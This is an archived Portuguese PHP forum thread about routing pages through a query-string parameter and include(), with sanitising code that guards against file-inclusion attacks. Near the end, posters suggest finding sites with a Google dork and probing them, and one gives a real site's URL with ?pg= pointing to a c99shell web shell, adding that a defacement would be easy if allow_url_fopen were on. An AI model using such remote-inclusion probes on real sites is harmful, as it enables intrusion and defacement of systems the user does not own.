Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Kimura

[Resolvido] Alguns métodos usados

Recommended Posts

Olá hinom,

 

Conheço sim reescrita de url.

 

Por gentileza, pode compartilhar um pouco do teu conhecimento conosco, dando um exemplo prático dessa situação?

 

Obrigado.

Compartilhar este post


Link para o post
Compartilhar em outros sites

o assunto principal do tópico está resolvido ?

 

acredito que sim, apesar de poder ajustar melhor, criar novas técnicas, enfim..

 

quanto a outros assuntos, faça uma pesquisa no forum e caso não encontre poste um novo tópico

 

referente ao URL REWRITE, você comentou que entende algo.

pois então, qual a dúvida em implementar para o seu caso ?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá,

 

hinom, quanto ao assunto principal, ao meu ver não está resolvido ainda.

 

Se você achar que o tópico está muito extenso, você mesmo pode encerrá-lo. Não quero prejudicar em nada.

 

Não sei se você entendeu quando falei em metatags, title etc. Tentei me referir que cada página deve ter estas informações particulares e não um título, keywords etc. padrão que servirá pra todas as outras paginas. Estou errado?

Compartilhar este post


Link para o post
Compartilhar em outros sites

eu usava só um ?pagina=contato, ai dava um include("$_GET[pagina].php");

 

após estudar esta parte de segurança, etc, passei a usar banco de dados....

 

só jogo a id, ?pagina=5, e ele puxa a pagina do BD e da um include...

Compartilhar este post


Link para o post
Compartilhar em outros sites

hinom, quanto ao assunto principal, ao meu ver não está resolvido ainda.

o foco principal foi "resolvido"

 

o assunto referente à abstração de dados da Query URL e posterior tratamento em controladores de fluxo de dados.

 

quanto a outros assuntos, é aconselhável fazr pesquisa no forum, pois podem existir outros topicos sobre o assunto.

caso não encontre na pesquisa, abra um novo tópico.

 

essa metodoogia visa organizar melhor o forum, reduzir redundâncias e tornar um tópico específico, útil para todos os outros membros.

 

se um topico for útil somente e exclusivamente para um unico membro, poderá não ter valor à comunidade , podendo ser excluído futuramente.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá hinom,

 

Concordo com a sua explicação.

 

Acho que o tópico ficou muito bem exemplificado quanto as minhas dúvidas.

 

Obrigado.

 

RESOLVIDO.

Compartilhar este post


Link para o post
Compartilhar em outros sites

bom, quantoa segurança, esse metodo de 'deleta_banco.php' (php injection) ja é bem antigo e manjado, e na minha opnião não existe mais riscos, porque praticamente todas hospedagens (uol host, locaweb, hospedagens gratis, etc) não estão mais vulneraveis a isso, se quiser vaça você mesmo um teste...

 

digite no google: inurl:index.php?pg=

vai aparecer muitos sites que usam este método, e depois do ?pg= coloque uma url qualquer de um site...tipo

http://www.site.com.br/index.php

 

vai dar erro, muita das vezes volta pra index, ou aparecer uma mensagem falando que não pode carregar arquivos de outro site, uma mensagem +/- assim...

 

Caso queiram dar uma estudada sobre essa vulnerabilidade, pesquisem por php-injection...

 

É isso ae..

Compartilhar este post


Link para o post
Compartilhar em outros sites

João Batista,seu código é interessante.Mas eu faria (do seu jeito):

<?php
$pagina = null;
if ( isset( $_GET[ 'pagina' ] ) ){
    /**
     * Aqui retiramos qualquer coisa que não for a-zA-z0-9_, isso evita que caracteres "estranhos" sejam aceitos
     */
    $pag = sprintf( 'views/%s.php' , preg_replace( '/[^\w]+/' , '' , basename( $_GET[ 'pagina' ] ) ) );

    /**
     * Agora que já tiramos coisas como http://, ftp://, NULL, etc... verificams se o arquivo existe na nossa pasta views:
     */
    if( file_exists( $pag ) && is_readable( $pag ) ) $pagina =& $pag;
    else {
        /**
         * Se o arquivo solicitado não existe, então enviamos um bad request para o usuário com o conteúdo do
         * nosso arquivo de erros:
         */
        header( $_SERVER['SERVER_PROTOCOL'].' 400 Bad Request' );
        readfile( 'error/badrequest.html' );
    }
/**
 * Se não foi solicitado nenhuma página então nesse caso, definimos a página padrão
 */
} else $pagina = 'views/home.php'

if ( $pagina ){
    header( $_SERVER['SERVER_PROTOCOL'].' 200 Ok' );
    require $pagina ;
}
?>

Explicação:

 

 

Trocar:

$pagina = '';
Por:

$pagina = null;
Strings em C são terminadas no byte nulo \0 (0000 0000,em hex:00).O PHP é escrito em C.Sendo assim,você ao fazer $pagina = '' ao invés de $pagina = null está alocando um byte atoa.

 

Trocar:

if( file_exists( $pag ))
Por:

if( file_exists( $pag ) && is_readable( $pag ) )
O arquivo pode muito bem existir mas não poder ser lido.Sendo assim,é interessante checar se o arquivo pode ser lido para evitar erros dentre outros problemas.

 

Trocar:

$pagina = $pag;
Por:

$pagina =& $pag;
É mais interessante pegar a referencia da variavel do que o valor da mesma nesse caso,para economizar memoria.

 

Trocar:

header( 'HTTP/1.0 400 Bad Request' );
Por:

header( $_SERVER['SERVER_PROTOCOL'].' 400 Bad Request' );
É um erro bem grave assumir que o protocolo que está sendo usado é o HTTP,mais grave ainda assumir isso e a versão usada,que no caso foi uma antiga (o mesmo se encontra na 1.1).

 

Trocar:

header( 'HTTP/1.0 200 Ok' );
Por:

header( $_SERVER['SERVER_PROTOCOL'].' 200 Ok' );
Mesma explicação acima...

 

Trocar:

require( $pagina );
Por:

require $pagina;
Require é uma estrutura da linguagem,e não uma função.

 

Eu também não gosto muito do sprintf,por ser um pouco mais lento,mas isso é gosto.

Ainda prefiro uma implementação parecida com a minha (mas com os headers e tal em caso de sucesso ou erro(como sugerido pelo Joao Batista)).É o que eu geralmente uso (jura? =o).

---

1ª) Imaginem que na minha index.php, que é onde está este código de QueryString, eu também inicio sessões, que, talvez, serão usadas em algumas páginas. Eu não estaria cometendo um gravíssimo erro em fazer isso?

 

Claro que não.Não entendo porque você chegou a pensar nisso...

 

2ª) Seguindo a primeira questão: E se eu abrisse conexões com bases de dados, mas nem todas as páginas a usassem?

 

Ai já é mais complicado de responder...evita que isso acontecessa,mas evita também ter que ficar toda hora estabelecendo uma conexão ao banco de dados.

---

só jogo a id, ?pagina=5, e ele puxa a pagina do BD e da um include...

 

Esse tipo de implementação é péssima,trás os mesmos problemas (e até mais(quebra sequencial no caso de deleção de alguma página e consequentemente ID,isso pode não ser muito desejavel)) de muitas implementações apresentadas (a do switch como colocado por muitos por exemplo).Você vai gastar muito mais memória atoa,o processamento vai ser bem maior e você vai ter muito mais trabalho (vai ter que alterar o arquivo/banco de dados toda hora).Essa é uma das tipicas pérolas da POG.

---

bom, quantoa segurança, esse metodo de 'deleta_banco.php' (php injection) ja é bem antigo e manjado, e na minha opnião não existe mais riscos, porque praticamente todas hospedagens (uol host, locaweb, hospedagens gratis, etc) não estão mais vulneraveis a isso, se quiser vaça você mesmo um teste...

 

digite no google: inurl:index.php?pg=

vai aparecer muitos sites que usam este método, e depois do ?pg= coloque uma url qualquer de um site...tipo

http://www.site.com.br/index.php

 

vai dar erro, muita das vezes volta pra index, ou aparecer uma mensagem falando que não pode carregar arquivos de outro site, uma mensagem +/- assim...

 

Caso queiram dar uma estudada sobre essa vulnerabilidade, pesquisem por php-injection...

 

É isso ae..

 

Não é o host que é vulneravel,e sim a página.

Compartilhar este post


Link para o post
Compartilhar em outros sites

a pagina e host, ás vezes um simples Off no php.ini resolve a falha

 

sites não vulnerável:

 

http://www.consorcionacionalcanopus.com.br/index.php?pg=http://www.site.com.br/c99shell.php

 

 

 

NOTE:

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/grupo/consorciocanopus.com.br/index.php on line 94

 

se allow_url_fopen estivesse on, provavelmente seria mole pra fazer um deface...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Agora entendi sua colocação!

É...pode ser visto dessa maneira.Sorte a deles também que magic_quotes_gpc está ligada...

Compartilhar este post


Link para o post
Compartilhar em outros sites

<?php
$pagina = 'default.php';
if(isset($_GET['pagina'])) {
    /*nos prevenimos de null-byte injection (pode levar o LFI a ser malicioso) e RFI*/
    $pag = str_replace(chr(0), '', basename($_GET['pagina'])).'.php';
    if(is_file($pag) && is_readable($pag)) $pagina =& $pag;
}
require $pagina;
?>
Qual a dificuldade e problema?

 

Desculpa resgatar o tópico mas aproveitando para resolver um problema meu...

 

Supondo que meu get venha de uma pasta qualquer, ex: meusite.com.br/index.php?pg=pasta/pagina

daria erro na hora de validar se existe e se pode ser lido, por causa do basename certo?

Porem, eu poderia corrigir usando uma condição com dirname, mas ai eu estaria perdendo o sentido de usar o basename.

ou seja, o ataque poderia ocorrer por usar dirname junto com o basename? ou não?

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.